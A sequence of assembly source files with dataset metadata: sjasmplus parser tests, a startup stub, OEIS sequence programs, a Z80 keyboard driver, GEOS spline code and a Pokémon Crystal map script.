db 0xfa, 0x00, 0x01, 0xe7, 0x30
db 0xfa, 0x00, 0x01, 0x7e, 0x30
db 0xfa, 0x00, 0x01, 0x3c, 0x30
db 0xf8, 0x00
db 0xf8, 0x00
db 0xf8, 0x00
db 0x00, 0x1f, 0xfa, 0xff, 0x00, 0xf0
| 33.190184
| 53
| 0.626802
|
c706ae53e2adba8518dde4406a058182e021fd43
| 607
|
asm
|
Assembly
|
tests/parsing/reader_cpp_coverage.asm
|
fengjixuchui/sjasmplus
|
df0fabd2411bf89e23637fce46d273f52dafbe16
|
[
"BSD-3-Clause"
] | 220
|
2016-10-22T19:44:39.000Z
|
2022-03-29T20:57:04.000Z
|
tests/parsing/reader_cpp_coverage.asm
|
ped7g/sjasmplus
|
487635c8057cd5594c372d9b70bc00a3f3a1ecc4
|
[
"BSD-3-Clause"
] | 153
|
2018-05-07T10:31:23.000Z
|
2022-03-30T04:35:59.000Z
|
tests/parsing/reader_cpp_coverage.asm
|
ped7g/sjasmplus
|
487635c8057cd5594c372d9b70bc00a3f3a1ecc4
|
[
"BSD-3-Clause"
] | 51
|
2016-05-12T21:27:36.000Z
|
2022-03-27T15:16:16.000Z
|
; there are some unreachable lines in numbers parsing (defensive programming, don't want to remove them)
kickoffWithDotDefl .defl 1234
.OPT reset --syntax=ab : ld a,(
.ASSERT(0 == not 1)
.DB "\x"
.DB 1+""
.INCLUDE "missing_delimiter
.INCLUDE ""
.STRUCT coverageStruct
LL1 BYME 1
ll1 byme 1
LL2 WORR 2
ll2 worr 2
LL3 BLICK 3
ll3 blick 3
LL4 DBBB 4
ll4 dbbb 4
LL5 DWWW 5
ll5 dwww 5
LL6 DSSS 6
ll6 dsss 6
LL7 DDDD 7
ll7 dddd 7
LL8 ALONG 8
ll8 along 8
LL9 DEDE 9
ll9 dede 9
LLA D255 A
lla d255 a
.ENDS
.DW 2+"
| 18.96875
| 104
| 0.60626
|
8938cdeb0843a284ef2ddffcda99380925fa5d30
| 429
|
asm
|
Assembly
|
start.asm
|
annaDostoevskaya/zero_runtime
|
1b45aae116560488f567f356fd040904e7db5397
|
[
"MIT"
] | 3
|
2020-06-30T11:01:10.000Z
|
2022-02-02T14:08:15.000Z
|
start.asm
|
annaDostoevskaya/zero_runtime
|
1b45aae116560488f567f356fd040904e7db5397
|
[
"MIT"
] | null | null | null |
start.asm
|
annaDostoevskaya/zero_runtime
|
1b45aae116560488f567f356fd040904e7db5397
|
[
"MIT"
] | null | null | null |
; start.asm
global _start
extern main
section main
section .text
_start: mov ecx, [esp] ; argc in ecx
mov eax, esp
add eax, 4 ; argv in eax
push eax
push ecx
call main
add esp, 8 ; clean the stack
mov ebx, eax ; now call _exit
mov eax, 1
int 80h
| 26.8125
| 53
| 0.412587
|
e5f8932090aeec5b40fabafc834130dc074035ae
| 563
|
asm
|
Assembly
|
oeis/017/A017313.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 11
|
2021-08-22T19:44:55.000Z
|
2022-03-20T16:47:57.000Z
|
oeis/017/A017313.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 9
|
2021-08-29T13:15:54.000Z
|
2022-03-09T19:52:31.000Z
|
oeis/017/A017313.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 3
|
2021-08-22T20:56:47.000Z
|
2021-09-29T06:26:12.000Z
|
; A017313: a(n) = (10*n + 3)^9.
; 19683,10604499373,1801152661463,46411484401953,502592611936843,3299763591802133,15633814156853823,58871586708267913,186940255267540403,520411082988487293,1304773183829244583,3004041937984268273,6443858614676334363,13021612539908538853,25004854810776297743,45943373101939347033,81224760533853742723,138808137876363860813,230175877545254397303,371548729913362368193,585415667401849109483,902436039641232277173,1363778273695777847263,2023966356928852115753,2954312706550833698643,4247023759235185531933
mul $0,10
add $0,3
pow $0,9
| 80.428571
| 501
| 0.895204
|
a0207be286217d25a7be41330c8324496a857be9
| 5,794
|
asm
|
Assembly
|
kbd.asm
|
ChartreuseK/z80monitor
|
b79745db750438ca18e348c6f0a9d1ab7d6fc610
|
[
"BSD-3-Clause"
] | 5
|
2018-08-14T23:46:56.000Z
|
2022-03-20T02:16:38.000Z
|
kbd.asm
|
ChartreuseK/z80monitor
|
b79745db750438ca18e348c6f0a9d1ab7d6fc610
|
[
"BSD-3-Clause"
] | null | null | null |
kbd.asm
|
ChartreuseK/z80monitor
|
b79745db750438ca18e348c6f0a9d1ab7d6fc610
|
[
"BSD-3-Clause"
] | null | null | null |
#data _RAM
LAST_SCAN: DS 1 ; Last pressed key
#code _ROM
;---------------------------------------
; Get Scancode
KBD_GETSCAN:
#local
LD B, 0x01 ; Start at row 0
LD A, 0 ; Row offset in decode table
LOOP:
LD C, PORT_KBD
IN C, (C) ; Read from port BC, B used for scanning key rows
JR NZ, FND ; Found a keypress
ADD A, 8 ; Next row
SLA B ; Shift to next row
JR NC, LOOP ; Loop till we find a keycode or run out of rows
LD A, 0 ; No key pressed
RET
FND:
LD B, A ; Save our row offset into B
LD A, 0
FND_LOOP:
RR C ; Rotate C until we find the bit# of the match
JR C, BIT
INC A ; Next bit
JR FND_LOOP ; Fine to loop since we know a bit is set
BIT:
OR A, B ; Or with the row offset - 00 rrr bbb
PUSH AF ; Save A
; Scan in modifiers
;Left Shift J0 - Ctrl J1 - Right Shift J5
; J is connected to IP2 on the 68681
; TODO: Optimize, this is way too big...
XOR A ; Modifiers
LD B, 0x20 ; Scan Shift L
CALL SCANMOD
JR Z, NOSHIFTR
OR $40 ; Shift mask
NOSHIFTR:
LD B, 0x02 ; Scan Shift R
CALL SCANMOD
JR Z, NOSHIFT
OR $40
NOSHIFT:
LD B, 0x01 ; Scan ctrl
CALL SCANMOD
JR Z, NOCTRL
OR $80
NOCTRL:
LD B, A
POP AF
OR B
RET
; Scans modifier key
; (68681 seems quite slow/inconsitant at detecting changes, our workaround
; for now is to spam the scan a ton of times. Seems to work consistently.
; We use IN opcodes from the 68681 since they're slightly longer than memory
; reads due to the WAIT state circuitry for /DTACK)
; Ideally we should add another buffer to read the state without the 68681
; or see if we can get the plain unbuffered input port on the 68681 to work
;
; UGLY UGLY HACK, Figure out a hardware fix....
;
; Sets Z corresponding to the scanned bit
; Row/Rows to scan in B
SCANMOD:
#local
PUSH DE
PUSH BC
LD E, A
LD BC, 0x0000 | SER_IPCR
IN C, (C) ; Reset IPCR to start
POP BC
LD C, SER_SRA ; Use SRA so we don't affect the ports
XOR A ; Loop 256 times
SCANLOOP:
IN D, (C) ; Scan the row
IN D, (C) ; Scan the row
IN D, (C) ; Scan the row
IN D, (C) ; Scan the row
IN D, (C) ; Scan the row
IN D, (C) ; Scan the row
IN D, (C) ; Scan the row
IN D, (C) ; Scan the row
IN D, (C) ; Scan the row
IN D, (C) ; Scan the row
IN D, (C) ; Scan the row
IN D, (C) ; Scan the row
IN D, (C) ; Scan the row
IN D, (C) ; Scan the row
IN D, (C) ; Scan the row
IN D, (C) ; Scan the row
SUB 1
JR NZ, SCANLOOP
LD BC, 0x0000 | SER_IPCR ; Scan in change register
IN C, (C) ; Re-read IPCR
BIT 6, C ; Check IP2 change
LD A, E
POP DE
RET
#endlocal
#endlocal
;---------------------------------------
; Convert scancode to ASCII(ish)
SCAN2KEY:
#local
;PUSH AF ; Save A
BIT 6, A ; Test Shift
JR Z, NOSHIFT
LD HL, KBD_DECODE_SHIFT ; Shifted keys don't quite correspond
JR DECODE ; to ASCII shifts so can't just mask $20
NOSHIFT:
LD HL, KBD_DECODE
DECODE:
AND 0x3F ; Mask off ctrl and shift bits
LD C, A ; Scancode as the offset
LD B, 0
ADD HL, BC ; Offset into table
LD A, (HL)
RET
POP AF ; Restore A
LD B, A ; Save scancode (so we can test ctrl)
LD A, (HL) ; Read in the value from table
BIT 7, B ; Ctrl bit
JR Z, NOCTRL
AND $9F ; Mask $40 and $20, convert to CTRL keys
NOCTRL:
RET
#endlocal
;---------------------------------------
; Waits for a key to be pressed, and returns the ASCII value
KBD_GETKEY:
#local
PUSH BC
PUSH HL
LOOP:
CALL KBD_GETSCAN
LD BC, 20 ; Give some delay for debounce
CALL DELAY
LD B, A ; Save original scancode
AND $9F ; Mask off Control and shift
LD HL, LAST_SCAN
CP (HL) ; Compare with last scancode
JR Z, LOOP ; If same as last key ignore
LD (HL), A ; Save as new last key (even if blank)
AND A ; Retest scancode
JR Z, LOOP ; Wait for a keypress
LD A, B ; Restore original code
CALL SCAN2KEY ; Convert scancode to ASCII
POP HL
POP BC
RET
#endlocal
;---------------------------------------
; Check if a key is being pressed, return ASCII value, or 0 if none pressed
KBD_GETKEYNB:
#local
PUSH BC
PUSH HL
LOOP:
CALL KBD_GETSCAN
LD BC, 4 ; Give some delay for debounce
CALL DELAY
LD HL, LAST_SCAN
CP (HL) ; Compare with last scancode
JR Z, END2 ; If same as last key ignore
LD (HL), A ; Save as new last key (even if blank)
AND A ; Retest scancode
JR Z, END2 ; No key being pressed
CALL SCAN2KEY ; Convert scancode to ASCII
POP HL
POP BC
RET
END2: ; Exit, no key pressed
XOR A
POP HL
POP BC
RET
#endlocal
;===============================================================================
; Static Data
; Keyboard decoding matrix. For keyboard taken from Motorola Pager Terminal
; See KBDMAP.TXT for more information on keyboard decoding, and special
; keys (Values >= $80)
KBD_DECODE:
DB $80, $81, $82, $83, $84, $08, $0A, $20 ; Row 0 (00000001)
DB $85, $86, 's', 'x', $87, $88, '2', 'w' ; Row 1 (00000010)
DB 'n', 'm', 'j', 'h', 'u', '6', '7', 'y' ; Row 2 (00000100)
DB ',', '.', 'k', 'l', 'i', '9', '8', 'o' ; Row 3 (00001000)
DB $89, $8A, 'd', 'c', $8B, $8C, '3', 'e' ; Row 4 (00010000)
DB '/', ';', $27, '[', '=', '0', 'p', '-' ; Row 5 (00100000)
DB $8D, 'z', $8E, 'a', 'q', $1B, '1', $09 ; Row 6 (01000000)
DB 'b', 'v', 'g', 'f', 't', '5', '4', 'r' ; Row 7 (10000000)
; Shifted keys, not quite a standard keyboard layout
KBD_DECODE_SHIFT:
DB $80, $81, $82, $83, $84, $08, $0A, $20 ; Row 0
DB $85, $86, 'S', 'X', $87, $88, '@', 'W' ; Row 1
DB 'N', 'M', 'J', 'H', 'U', '\', '&', 'Y' ; Row 2
DB ',', '.', 'K', 'L', 'I', '(', '*', 'O' ; Row 3
DB $89, $8A, 'D', 'C', $8B, $8C, '#', 'E' ; Row 4
DB '?', ':', '"', ']', '+', ')', 'P', '_' ; Row 5
DB $8D, 'Z', $8E, 'A', 'Q', $1B, '!', $09 ; Row 6
DB 'B', 'V', 'G', 'F', 'T', '%', '$', 'R' ; Row 7
| 23.552846
| 80
| 0.57922
|
6ce8ef1d3bd0dc0d32294ea7c84afb8aa67c0995
| 2,794
|
asm
|
Assembly
|
Library/Spline/Spline/splineSuspend.asm
|
steakknife/pcgeos
|
95edd7fad36df400aba9bab1d56e154fc126044a
|
[
"Apache-2.0"
] | 504
|
2018-11-18T03:35:53.000Z
|
2022-03-29T01:02:51.000Z
|
Library/Spline/Spline/splineSuspend.asm
|
steakknife/pcgeos
|
95edd7fad36df400aba9bab1d56e154fc126044a
|
[
"Apache-2.0"
] | 96
|
2018-11-19T21:06:50.000Z
|
2022-03-06T10:26:48.000Z
|
Library/Spline/Spline/splineSuspend.asm
|
steakknife/pcgeos
|
95edd7fad36df400aba9bab1d56e154fc126044a
|
[
"Apache-2.0"
] | 73
|
2018-11-19T20:46:53.000Z
|
2022-03-29T00:59:26.000Z
|
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Copyright (c) GeoWorks 1992 -- All Rights Reserved
PROJECT: PC GEOS
MODULE:
FILE: splineSuspend.asm
AUTHOR: Chris Boyke
ROUTINES:
Name Description
---- -----------
REVISION HISTORY:
Name Date Description
---- ---- -----------
cdb 9/14/92 Initial version.
DESCRIPTION:
$Id: splineSuspend.asm,v 1.1 97/04/07 11:09:02 newdeal Exp $
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SplineSuspend
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
DESCRIPTION: increment the suspend count.
PASS: *ds:si = VisSplineClass object
ds:di = VisSplineClass instance data
es = dgroup
RETURN: nothing
DESTROYED: ax,cx,dx,bp
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
cdb 9/14/92 Initial version.
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
SplineSuspend method dynamic VisSplineClass,
MSG_META_SUSPEND
inc ds:[di].VSI_suspendCount
EC < cmp ds:[di].VSI_suspendCount, MAX_SUSPEND_COUNT >
EC < ERROR_E ILLEGAL_SUSPEND_COUNT >
mov di, offset VisSplineClass
GOTO ObjCallSuperNoLock
SplineSuspend endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SplineUnSuspend
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
DESCRIPTION: decrement the suspend count. If it drops to zero,
perform the the pending actions
PASS: *ds:si = VisSplineClass object
ds:di = VisSplineClass instance data
es = dgroup
RETURN: nothing
DESTROYED: ax,cx,dx,bp
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
cdb 9/14/92 Initial version.
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
SplineUnSuspend method dynamic VisSplineClass,
MSG_META_UNSUSPEND
dec ds:[di].VSI_suspendCount
EC < ERROR_S ILLEGAL_SUSPEND_COUNT >
jnz done
;
; Suspend count has reached zero, so check the unSuspend flags
;
clr bl
xchg bl, ds:[di].VSI_unSuspendFlags
test bl, mask SUSF_GEOMETRY
jz afterGeometry
mov ax, MSG_VIS_RECALC_SIZE
call ObjCallInstanceNoLock
afterGeometry:
test bl, mask SUSF_UPDATE_UI
jz done
mov cx,UPDATE_ALL
mov ax, MSG_SPLINE_BEGIN_UPDATE_UI
call ObjCallInstanceNoLock
done:
mov ax, MSG_META_UNSUSPEND
mov di, offset VisSplineClass
GOTO ObjCallSuperNoLock
SplineUnSuspend endm
| 21.007519
| 71
| 0.551181
|
6f470f8fbbbd0793da53ced13f9fd9cc3c968e1d
| 1,056
|
asm
|
Assembly
|
maps/PewterMuseum2F.asm
|
Ebernacher90/pokecrystal-allworld
|
5d623c760e936842cf92563912c5bd64dd69baef
|
[
"blessing"
] | null | null | null |
maps/PewterMuseum2F.asm
|
Ebernacher90/pokecrystal-allworld
|
5d623c760e936842cf92563912c5bd64dd69baef
|
[
"blessing"
] | null | null | null |
maps/PewterMuseum2F.asm
|
Ebernacher90/pokecrystal-allworld
|
5d623c760e936842cf92563912c5bd64dd69baef
|
[
"blessing"
] | null | null | null |
const_def 2 ; object constants
const PEWTERMUSEUM2F_TEAMAQUA
const PEWTERMUSEUM2F_TEAMMAGMA
PewterMuseum2F_MapScripts:
db 0 ; scene scripts
db 0 ; callbacks
TeamAqua:
jumptextfaceplayer TeamAquaText
TeamAquaText:
text "Bald werden wir"
line "auch dieses Museum"
cont "übernehmen hahaha!"
done
TeamMagma:
jumptextfaceplayer TeamMagmaText
TeamMagmaText:
text "Team Magma wird"
line "die Weltmacht"
cont "erreichen, wir"
para "werden auch unsere"
line "Feinde Team Aqua"
cont "aus dem weg"
para "räumen. Darauf"
line "kannst du dich"
cont "verlassen, Pisser."
para "Hahahahahahahaha!"
done
PewterMuseum2F_MapEvents:
db 0, 0 ; filler
db 1 ; warp events
warp_event 7, 7, PEWTER_MUSEUM_1F, 1
db 0 ; coord events
db 0 ; bg events
db 2 ; object events
object_event 5, 4, SPRITE_AQUA, SPRITEMOVEDATA_STANDING_RIGHT, 0, 0, -1, -1, PAL_NPC_BLUE, OBJECTTYPE_SCRIPT, 0, TeamAqua, -1
object_event 5, 7, SPRITE_MAGMA, SPRITEMOVEDATA_STANDING_UP, 0, 0, -1, -1, PAL_NPC_RED, OBJECTTYPE_SCRIPT, 0, TeamMagma, -1
| 20.705882
| 129
| 0.739583
|
2482b99c38adce5998c71c93e5d9e35bd760f955
| 676
|
asm
|
Assembly
|
oeis/101/A101399.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 11
|
2021-08-22T19:44:55.000Z
|
2022-03-20T16:47:57.000Z
|
oeis/101/A101399.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 9
|
2021-08-29T13:15:54.000Z
|
2022-03-09T19:52:31.000Z
|
oeis/101/A101399.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 3
|
2021-08-22T20:56:47.000Z
|
2021-09-29T06:26:12.000Z
|
; A101399: a(0) = 1, a(1) = 2, a(2) = 5; for n >= 3, a(n) = a(n-1) + 2*a(n-2) + a(n-3).
; Submitted by Jamie Morken(s1)
; 1,2,5,10,22,47,101,217,466,1001,2150,4618,9919,21305,45761,98290,211117,453458,973982,2092015,4493437,9651449,20730338,44526673,95638798,205422482,441226751,947710513,2035586497,4372234274,9391117781,20171172826,43325642662,93059106095,199881564245,429325419097,922147653682,1980680056121,4254300782582,9137808548506,19627090169791,42157008049385,90548996937473,194490103206034,417745105130365,897274308479906,1927254621946670,4139548344036847,8891331896410093,19097683206430457,41019895343287490
mul $0,2
seq $0,97333 ; Sum k=0..n, C(n-k, floor(k/2)).
| 96.571429
| 498
| 0.788462
|
02e9824dccb8d57f7e105395dba7bd8d5dee1645
| 146
|
asm
|
Assembly
|
other.7z/NEWS.7z/NEWS/テープリストア/NEWS_05/NEWS_05.tar/home/kimura/kart/risc.lzh/risc/join/Effect-p.asm
|
prismotizm/gigaleak
|
d082854866186a05fec4e2fdf1def0199e7f3098
|
[
"MIT"
] | null | null | null |
other.7z/NEWS.7z/NEWS/テープリストア/NEWS_05/NEWS_05.tar/home/kimura/kart/risc.lzh/risc/join/Effect-p.asm
|
prismotizm/gigaleak
|
d082854866186a05fec4e2fdf1def0199e7f3098
|
[
"MIT"
] | null | null | null |
other.7z/NEWS.7z/NEWS/テープリストア/NEWS_05/NEWS_05.tar/home/kimura/kart/risc.lzh/risc/join/Effect-p.asm
|
prismotizm/gigaleak
|
d082854866186a05fec4e2fdf1def0199e7f3098
|
[
"MIT"
] | null | null | null |
Name: Effect-p.asm
Type: file
Size: 12202
Last-Modified: '1992-07-30T05:00:32Z'
SHA-1: C8A3EDD0F83502D340E0930F485CE1A3C21E50A0
Description: null
| 20.857143
| 47
| 0.808219
|
347aa9f30bca674875aac14eeadca4a4bc8f005f
| 1,237
|
asm
|
Assembly
|
programs/oeis/118/A118015.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | 1
|
2021-03-15T11:38:20.000Z
|
2021-03-15T11:38:20.000Z
|
programs/oeis/118/A118015.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | null | null | null |
programs/oeis/118/A118015.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | null | null | null |
; A118015: a(n) = floor(n^2/5).
; 0,0,0,1,3,5,7,9,12,16,20,24,28,33,39,45,51,57,64,72,80,88,96,105,115,125,135,145,156,168,180,192,204,217,231,245,259,273,288,304,320,336,352,369,387,405,423,441,460,480,500,520,540,561,583,605,627,649,672,696,720,744,768,793,819,845,871,897,924,952,980,1008,1036,1065,1095,1125,1155,1185,1216,1248,1280,1312,1344,1377,1411,1445,1479,1513,1548,1584,1620,1656,1692,1729,1767,1805,1843,1881,1920,1960,2000,2040,2080,2121,2163,2205,2247,2289,2332,2376,2420,2464,2508,2553,2599,2645,2691,2737,2784,2832,2880,2928,2976,3025,3075,3125,3175,3225,3276,3328,3380,3432,3484,3537,3591,3645,3699,3753,3808,3864,3920,3976,4032,4089,4147,4205,4263,4321,4380,4440,4500,4560,4620,4681,4743,4805,4867,4929,4992,5056,5120,5184,5248,5313,5379,5445,5511,5577,5644,5712,5780,5848,5916,5985,6055,6125,6195,6265,6336,6408,6480,6552,6624,6697,6771,6845,6919,6993,7068,7144,7220,7296,7372,7449,7527,7605,7683,7761,7840,7920,8000,8080,8160,8241,8323,8405,8487,8569,8652,8736,8820,8904,8988,9073,9159,9245,9331,9417,9504,9592,9680,9768,9856,9945,10035,10125,10215,10305,10396,10488,10580,10672,10764,10857,10951,11045,11139,11233,11328,11424,11520,11616,11712,11809,11907,12005,12103,12201,12300,12400
pow $0,2
mov $1,$0
div $1,5
| 176.714286
| 1,175
| 0.772838
|
1a10bd85d4b4e389acf6414aba090d6bea5a8828
| 467
|
asm
|
Assembly
|
oeis/244/A244042.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 11
|
2021-08-22T19:44:55.000Z
|
2022-03-20T16:47:57.000Z
|
oeis/244/A244042.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 9
|
2021-08-29T13:15:54.000Z
|
2022-03-09T19:52:31.000Z
|
oeis/244/A244042.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 3
|
2021-08-22T20:56:47.000Z
|
2021-09-29T06:26:12.000Z
|
; A244042: In ternary representation of n, replace 2's with 0's.
; Submitted by Jamie Morken(s1)
; 0,1,0,3,4,3,0,1,0,9,10,9,12,13,12,9,10,9,0,1,0,3,4,3,0,1,0,27,28,27,30,31,30,27,28,27,36,37,36,39,40,39,36,37,36,27,28,27,30,31,30,27,28,27,0,1,0,3,4,3,0,1,0,9,10,9,12,13,12,9,10,9,0,1,0,3,4,3,0,1,0,81,82,81,84,85,84,81,82,81,90,91,90,93,94,93,90,91,90,81
mov $2,1
lpb $0
mov $3,$0
div $0,3
add $3,$0
mod $3,2
mul $3,$2
add $1,$3
mul $2,3
lpe
mov $0,$1
| 29.1875
| 257
| 0.599572
|
6d5cf8fbb74517c61d8c1481b5b2104fdc1b25c5
| 524
|
asm
|
Assembly
|
oeis/192/A192383.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 11
|
2021-08-22T19:44:55.000Z
|
2022-03-20T16:47:57.000Z
|
oeis/192/A192383.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 9
|
2021-08-29T13:15:54.000Z
|
2022-03-09T19:52:31.000Z
|
oeis/192/A192383.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 3
|
2021-08-22T20:56:47.000Z
|
2021-09-29T06:26:12.000Z
|
; A192383: Constant term of the reduction by x^2->x+1 of the polynomial p(n,x) defined below in Comments.
; Submitted by Christian Krause
; 1,0,6,8,60,160,744,2496,10064,36480,140512,522624,1983168,7439360,28091520,105674752,398391552,1500057600,5652182528,21288560640,80200784896,302101094400,1138045495296,4286942363648,16149041172480,60833034895360
mov $2,1
lpb $0
sub $0,1
sub $4,$1
add $1,$3
mul $2,4
sub $4,2
add $4,$2
mov $5,$4
mov $4,$2
mov $2,$3
add $4,$1
add $5,$4
mov $3,$5
lpe
mov $0,$2
| 24.952381
| 213
| 0.70229
|
8dae0f5bb3033ffd4391ee97099aec451e562e5d
| 529
|
asm
|
Assembly
|
programs/oeis/088/A088162.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 22
|
2018-02-06T19:19:31.000Z
|
2022-01-17T21:53:31.000Z
|
programs/oeis/088/A088162.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 41
|
2021-02-22T19:00:34.000Z
|
2021-08-28T10:47:47.000Z
|
programs/oeis/088/A088162.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 5
|
2021-02-24T21:14:16.000Z
|
2021-08-09T19:48:05.000Z
|
; A088162: n-th prime rotated one binary place to the right less the n-th prime rotated one binary place to the left.
; 0,0,3,0,6,3,21,18,12,3,0,39,33,30,24,15,6,3,90,84,81,72,66,57,45,39,36,30,27,21,0,186,177,174,159,156,147,138,132,123,114,111,96,93,87,84,66,48,42,39,33,24,21,6,381,372,363,360,351,345,342,327,306,300,297,291
seq $0,6005 ; The odd prime numbers together with 1.
sub $0,1
seq $0,80079 ; Least number causing the longest carry sequence when adding numbers <= n to n in binary representation.
div $0,2
mul $0,3
| 58.777778
| 210
| 0.720227
|
a8654164763d2554fac45404e688257b2d42a4ac
| 308
|
asm
|
Assembly
|
code/S01E04/asm/03_naive_y.asm
|
fcatrin/bitabit
|
2f5dca6fde7a5413ff9e3d1119fb74a82735dd01
|
[
"MIT"
] | 2
|
2020-07-25T21:02:47.000Z
|
2021-03-25T03:21:47.000Z
|
code/S01E04/asm/03_naive_y.asm
|
fcatrin/bitabit
|
2f5dca6fde7a5413ff9e3d1119fb74a82735dd01
|
[
"MIT"
] | null | null | null |
code/S01E04/asm/03_naive_y.asm
|
fcatrin/bitabit
|
2f5dca6fde7a5413ff9e3d1119fb74a82735dd01
|
[
"MIT"
] | null | null | null |
org $2000
lda #64
sta 202
lda #156
sta 203
ldy #0
lda #35
loop1 sta (202),y ; first half
iny
bne loop1
inc 203 ; skip 256 bytes
loop2 sta (202),y ; second half
iny
bne loop2
halt jmp halt
| 14
| 38
| 0.431818
|
1be6d6e25e8c81121fbe469df2ef6a5aa54792ed
| 2,554
|
asm
|
Assembly
|
tests/struct/multi_line_init2.asm
|
fengjixuchui/sjasmplus
|
df0fabd2411bf89e23637fce46d273f52dafbe16
|
[
"BSD-3-Clause"
] | 220
|
2016-10-22T19:44:39.000Z
|
2022-03-29T20:57:04.000Z
|
tests/struct/multi_line_init2.asm
|
ped7g/sjasmplus
|
487635c8057cd5594c372d9b70bc00a3f3a1ecc4
|
[
"BSD-3-Clause"
] | 153
|
2018-05-07T10:31:23.000Z
|
2022-03-30T04:35:59.000Z
|
tests/struct/multi_line_init2.asm
|
ped7g/sjasmplus
|
487635c8057cd5594c372d9b70bc00a3f3a1ecc4
|
[
"BSD-3-Clause"
] | 51
|
2016-05-12T21:27:36.000Z
|
2022-03-27T15:16:16.000Z
|
; variation on more complex internal states of sjasmplus (reading multi-line from macro definition/etc)
OUTPUT "multi_line_init2.bin"
DB "1) single-line classic initializers test:\n"
STRUCT S_sub1
b1 byte $11
t1 text 5, { "txt", '_' }
w1 word $3322
ENDS
STRUCT S_main
b2 byte $44
s1 S_sub1
ENDS
; 2x S_main instance by using dot-repeater -> no label assigned to these
dotRep .2 S_main { 'a', { 'b', { "cdefg" }, "\nh" } }
; 2x S_main instance by using DUP+EDUP
dupRep:
DUP 2
S_main { 'i', { 'j', { "klmno" }, "\np" } }
EDUP
; emit structure inside macro
macDef MACRO b1?, t1?
.macSub S_main { '<', { b1?, { t1? }, "\n>" } }
ENDM
; emit 2x structure inside macro with dot repeater (structs have own macro-specific label)
.2 macDef 'B', < 'C', 'D', "EF" >
DUP 2
macDef 'b', < 'c', 'd', "ef" >
EDUP
DB "\n2) same code, but multi-line variants:\n"
DB "(dot-repeater variants are NOT supported)\n"
; 2x S_main instance by using DUP+EDUP
mlDupRep:
DUP 2
S_main {
'i',
{
'j',
{ "klmno" },
"\np"
}
}
EDUP
; emit structure inside macro
macDef2 MACRO b1?, t1?
.macSub S_main {
'<',
{
b1?,
{ t1? },
"\n>"
}
}
ENDM
; emit 2x structure inside macro with dot repeater (structs have own macro-specific label)
.2 macDef2 'B', < 'C', 'D', "EF" >
DUP 2
macDef2 'b', < 'c', 'd', "ef" >
EDUP
; 2x S_main instance by using dot-repeater -> this one is *NOT* supported
; it should NOT read more lines outside of the macro scope, and report missing "}"
mlDotRep .2 S_main {
ld b,c : ld a,(bc) ; this should be processed as instructions => 41 0A ("A\n")
; try dot-repeater inside macro definition as ultimate complexity thing
; (ignoring IF type of complexity and recursion, because I want to finish it today)
; this is still *NOT* supported and the second instance will miss the "}"
macDef3 MACRO b1?, t1?
.2 S_main {
'{',
{
b1?,
{ t1? },
"\n}"
}
}
ENDM
; this should fail due to dot-repeater used for multi-line initializer
macDef3 '1', "2345"
ld b,d : ld a,(bc) ; this should be processed as instructions => 42 0A ("B\n")
OUTEND
| 26.061224
| 103
| 0.525059
|
690b54df452715a918a94b37987252dd8360a790
| 2,406
|
asm
|
Assembly
|
testsuite/ubivm/output/group_8.asm
|
alexgarzao/UOP
|
12460841ff2b9991d2f7f461635b1f551413823f
|
[
"MIT"
